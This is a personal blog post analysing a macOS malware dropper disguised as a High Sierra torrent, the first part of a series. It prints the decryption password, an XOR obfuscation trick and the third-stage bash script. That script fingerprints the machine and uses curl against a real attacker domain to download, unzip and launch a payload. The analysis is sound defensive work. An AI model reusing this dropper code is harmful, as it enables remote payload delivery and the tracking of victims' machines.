Malware Analaysis on macOS, Part 1: Bash
This is part one of a multi-part series where I reverse engineer some shitty macOS malware. All the code is available here.
I didn’t even know there was malware for macOS out there. I mean, I knew it existed, I just didn’t think I’d ever encounter any. These days with all the fancy package managers (homebrew) and App Stores, it’s extremely rare that one has to download software from the scary internet. But today was such a case, at least, in a way.
I have this old 2010 Mac Mini that I still use for a couple of things. And for some reason, I wanted to wipe it clean and reinstall macOS on it. It doesn’t support the latest version of macOS, 10.14 Mojave, but it does still run 10.13 High Sierra.
The normal way to do this is to download macOS from the App Store. That way it’s directly from Apple, the download is verified and it’s all good. However, the download from Apple isn’t the fastest, I only got around 1 MB/s from them, which is far less than my connection should max out that.
So I went into the wild, wild internet and tried to find a torrent for it. That would be a much faster way of downloading High Sierra. So I managed to find a website that offered to download macOS High Sierra 10.13.6, exactly what I was looking for, and so promptly downloaded it.
But of course, you can’t trust the internet. Instead of a .torrent
file, I go a .dmg
that was only around 500 kB. That can’t be right! Normally I would just delete whatever they gave me and go back to Apple’s safe but slightly slower download. But because we are professionals and this is the first time I have encountered macOS malware in the wild, I thought it might be fun to see what I got there, to reverse it a bit.
The first thing I looked at is the download URL on that website.
http://cdndownloadjspr.com/dl/?z=6120&name=macOS%20High%20Sierra%2010.13.6%20-17G65-&file=https://mac-torrents.io/wp-content/uploads/2018/07/macOS_10.13.6_High_Sierra.torrent
Now, interestingly, you can see that this is on another domain, cdndownloadjspr.com
, which seems to be some sort of a CDN. Embedded in that is a URL going to mac-torrents.io
. If you download that URL, you actually get a valid torrent file:
$ wget "https://mac-torrents.io/wp-content/uploads/2018/07/macOS_10.13.6_High_Sierra.torrent"
$ sha256sum macOS_10.13.6_High_Sierra.torrent
fa1514a3a009471621db9986abd1e6df44bb9d7383f1be4e0b4ab628ae0f01db macOS_10.13.6_High_Sierra.torrent
$ torrentcheck -t *.torrent
Torrent file : macOS_10.13.6_High_Sierra.torrent
Metadata info : 50614 bytes, 2488 pieces, 2097152 bytes per piece
Torrent name : macOS_10.13.6_High_Sierra.rar
Content info : single file, 5217375346 bytes
Announce URL : udp://tracker.leechers-paradise.org:6969
Those 5217375346 bytes that it reports is about 4.8 GB, which does check out. It might not be authentic, so I wouldn’t trust it, but it does seem more likely to actually be something.
If you don’t extract that URL, and use the URL of the CDN, then all bets are off. Every time you download it, you get something different. These are all the files I got from downloading the allaged torrent file (I have renamed some of them):
$ sha256sum *
829500e88bd4b19b0f3562eba6a00f0065379b354ac408b79685ca9fe25aa064 macOS High Sierra 10.13.6 -17G65--2.dmg
8e85ebf5b34fa8285d182602dbad02dfe91cf0f6f68e87e86796a6090c2092d9 macOS High Sierra 10.13.6 -17G65--3.dmg
9dfc172e9f09a27af6ea9b95d434482502d602c393718f27ffe97d7e26e58eb9 macOS High Sierra 10.13.6 -17G65--4.dmg
ddcf71302cac7ef9fd80ce754a8c1b138534dfd7bf13a728091014960422a836 macOS High Sierra 10.13.6 -17G65--5.dmg
2bbf214ee6f289e6e93970cc46562e93fdf7236b5c55c0c1b6e0f2151d57e04f macOS High Sierra 10.13.6 -17G65-.dmg
c9e2a57741c4117b59c4cd3a30167a564fde76795df7f4b3682bef283fae54f9 macOS_10.13.6_High_Sierra.dmg
cc716c1da4be1d03130b59453b5f8f668c07b96cf1a1fde0f0b920c952133428 macOS_10_13_6_High_Sierra.dmg
faf600fd75c8aafe3dd1a0c12e4970003f771d707e4bfd0226a7fc5da2f21423 macOS_High_Sierra.dmg
c9e2a57741c4117b59c4cd3a30167a564fde76795df7f4b3682bef283fae54f9 macos_installer_malware.dmg
8cd90a110eabaa7dd51d912bfb6fc896ed4c002b83e992c7822a71649f3b4911 malware.dmg
I’m not sure if it’s mac-torrents.io
that is malicious, or if it’s the CDN that is malicious. Another clue is that mac-torrents.io
seems to be running WordPress, which is infamous for security holes. So it’s not quite clear who is the bad actor here.
As for the different checksums on every download, it does seem like they serve different types of malware on every downlod. But it might also be that they slightly randomize each download to evade detection by virus scanners that only check the hashes of files.
I chose one of these .dmg
files and mounted them. It looks like this:
All of these are perfectly valid DiskImage files. If you don’t know macOS, DiskImage files are like a hybrid between a ZIP file and a virtual CD, in that they are compressed, and you have to “mount” them. They are also read-only and typically used to distribute software.
All of these .dmg
files are either 500 kB or 1.5 MB in size, which suggests that there are different versions or different payloads here. Some of them don’t have an “Installer” but a “Player” icon that looks like the Adobe Flash Player that is now obsolete but used to be quite important on the internet.
Since this is a proper macOS app, we can check if the code is signed with Apple’s codesign
utility, and if so, which certificate was used to sign it. MacOS doesn’t like running code that isn’t signed, which is quite good.
$ codesign -dvv Installer.app/
Executable=/Volumes/Installer/Installer.app/Contents/MacOS/lkyuqiwjiavtbfmjckxz
Identifier=com.lkyuqiwjiavtbfmjckxz
Format=app bundle with generic
CodeDirectory v=20200 size=216 flags=0x0(none) hashes=1+3 location=embedded
Signature size=9014
Authority=Developer ID Application: Edward Furlhoper (XL8ZVTY2W2)
Authority=Developer ID Certification Authority
Authority=Apple Root CA
Timestamp=10. Jun 2019 at 12:29:18
Info.plist entries=12
TeamIdentifier=XL8ZVTY2W2
Sealed Resources version=2 rules=13 files=2
Internal requirements count=2 size=236
As expected, this app is signed. It has the nonsensical identifier com.lkyuqiwjiavtbfmjckxz
, and is signed by an Edward Furlhoper. A simple search shows that this name is not unknown, and this particular individual has been linked to other malware.
That still doesn’t tell us what this thing actually does. To find that out, we need to actually inspect the code that it is running. So, I just naïvely opened it in vim
, and well, hello there..
Turns out it’s just a bash
script. That’s interesting, I guess I would have expected something.. sophisticated. But it does make sense, if you’re going to write malware for a system, you want to do it as cheaply as possible, so you’ll use whatever comes preinstalled. And writing a little bash script works because macOS comes with bash
and openssl
preinstalled. But what does this thing even do?
You can see that it finds the parent directory of the directory where it’s stored in (it’s in Installer.app/Contents/MacOS/
, so fileDir
will contain Installer.app/Contents
). It then loads a file, Installer.app/Contents/Resources/enc
, which it decrypts and evaluates. To see what it’s evaluating there, we can just decrypt that file as well and inspect it.
$ openssl enc -base64 -d -aes-256-cbc -nosalt -pass pass:2822812613 < Installer.app/Contents/Resources/enc > stage_two.sh
$ sha256sum stage_two.sh
7b05f80cd95d5aa2c84a47f59e26cf2f5faf8b84661a06f0e8c5cc3094b215ee /Users/pelsen/malware.sh
The result of decrypting the file is, unsurprisingly, another bash script.
This code is obfuscated, but in such a trivial way that we can easily decode it. Very obvious are the two variables, _y
and _t
. These are a key and some data (interestingly, the same key as the one this file was encrypted with). The functions _m
and _l
use these variables to decrypt something, a third bash script, which is then evaluated.
I went through the code to deobfuscate it, sprinkle some comments into it and I was able to learn some things on the way. For example, ${#1}
is bash
syntax for getting the length of the string variable $1
. The deobfuscated version is available here.
You can see that they implemented some pseudo-encryption using XOR. If you didn’t know, you can parse hex numbers and perform XOR operations on them with a syntax similar to this:
echo $(( ((0xa1)) ^ ((0x1a)) ))
This pseudo-encryption is pretty shit, and trivial to deobfuscate. But things like this are also wildly popular because they are so easy to implement. The fact that it’s implemented in bash does make it look a bit wild.
Now that we know what it does, we could go through it and follow the code to manually do what it does,to decrypt the data. Or, we can just change the eval
into an echo
and run the script, and let it decode itself. Note that this is sometimes dangerous, because if you made a mistake, you could inadvertendly infect your system with malware. So, it’s probably best to do this in a container or a throwaway VM. I just set up a docker container, created an unprivileged user in it, downloaded
$ docker run -it ubuntu /bin/bash
# adduser user
# su user
$ sed -i -e 's/eval/echo/g' stage_two.sh
$ chmod +x stage_two.sh
$ ./stage_two.sh > stage_three.sh
So, running all that, we get to the next stage, stage three. This one isn’t even obfuscated at all, it’s just a script that seems to download something from the net and execute it. It is available here.
This looks like it’s getting somewhere fun. Interestingly, the password is still the same, they used 2822812613
as the password at every stage. We can go through these variables they are setting, to find out what kind of information is passed on to their server, and download whatever their server gives us.
The first couple variables are just some parameters. The encryption password, which might be used to identify this particular version of the malware, or it might even be generated randomly and be able to track an individual machine.
ENC_PASS="2822812613"
APP_DOMAIN="www.evyet.pw"
APP_ROUTE="download/dlst"
unzip_password="316218228228228126133456789"
Next are some data about the OS that it saves into the variables os_version
, session_guid
and machine_id
. That includes the version of macOS you are using, a randomly generated ID and some type of ID to identify the machine. I don’t know if the machine_id
identifies the model or the particular machine you’re on. I have executed these commands locally to show you what the output looks like. I did censor my machine_id
because I’m not sure if it can be used to track my specific hardware, but the output looks exactly like a UUID.
$ sw_vers -productVersion
10.14.5
$ uuidgen
769F2AAE-47D3-4EF4-BB6E-64B6742F3662
$ ioreg -rd1 ioreg -rd1 -c IOPlatformExpertDevice | grep -o '"IOPlatformUUID" = "\(.*\)"'
XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX
Next comes the interesting part. Here we actually download and execute whatever the server gives us.
url="http://${APP_DOMAIN}/${APP_ROUTE}?mid=${machine_id}&s=${session_guid}&o=${os_version}&p=${ENC_PASS}"
tmp_path="$(mktemp /tmp/XXXXXXXXX)"
curl -f0L "${url}" >/dev/null 2>&1 >> ${tmp_path}
app_dir="$(mktemp -d /tmp/XXXXXXXX)/"
unzip -P "${unzip_password}" "${tmp_path}" -d "${app_dir}" > /dev/null 2>&1
rm -f ${tmp_path}
file_name="$(grep -m1 -v "*.app" <(ls -1 "${app_dir}"))"
volume_name="$(echo -n "${PWD}" | sed -E -n 's@^(/Volumes/[^/]+)/.*@\1@p')"
volume_name="${volume_name// /%20}"
chmod +x "${app_dir}${file_name}/Contents/MacOS"/*
open -a "${app_dir}${file_name}" --args "s" "${session_guid}" "${volume_name}"
You can see that it builds a request URL url
, it uses curl
to download something from that URL into a temporary folder, next it unzips the file with the password it has, it finds an app that is contained in it and eventually launches that app with some arguments.
I ended up simply hardcoding some values for os_version
, session_guid
and machine_id
, commenting out the lines after the unzip, and just running this stage again in the docker container.
So, I ended up just hardcoding some values into the script, and running it in a secure Linux container. Just to be safe.
Interestingly, every time I run the script, it downloads a different file.
f47b360433f1f696c7d0edc0dcd274562d200baa36ff479b148eab5296684cbe run1.zip
149f43daef9c4ac9ee17ffa108b392aa86fb230e128c6612583d52f47ea91af7 run2.zip
add0beb0535945ab85d3ffda97248975d8dff2ddb7560eefc19ee025f8f62b11 run3.zip
Are these all different malwares that it’s launching? Doesn’t seem like it. After unzipping them and comparing the unzipped files with diff, it’s clear that they all contain the same files.
$ diff -r Installer.app Installer2.app
It’s most likely that the server generates these zip files on-demand and thus somewhere there are things with different different timestamps, which means they have a different hash sum despite containing the same files.
The timestamp on most of the files is June 10th, which is a bit more than a week ago at this point, so fairly recent.
Unlike the first Installer.app
that we had, this one is not a bash script. But what does this Installer.app
do? Check out the next post, where I will be reverse engineering the binary to find out what it does.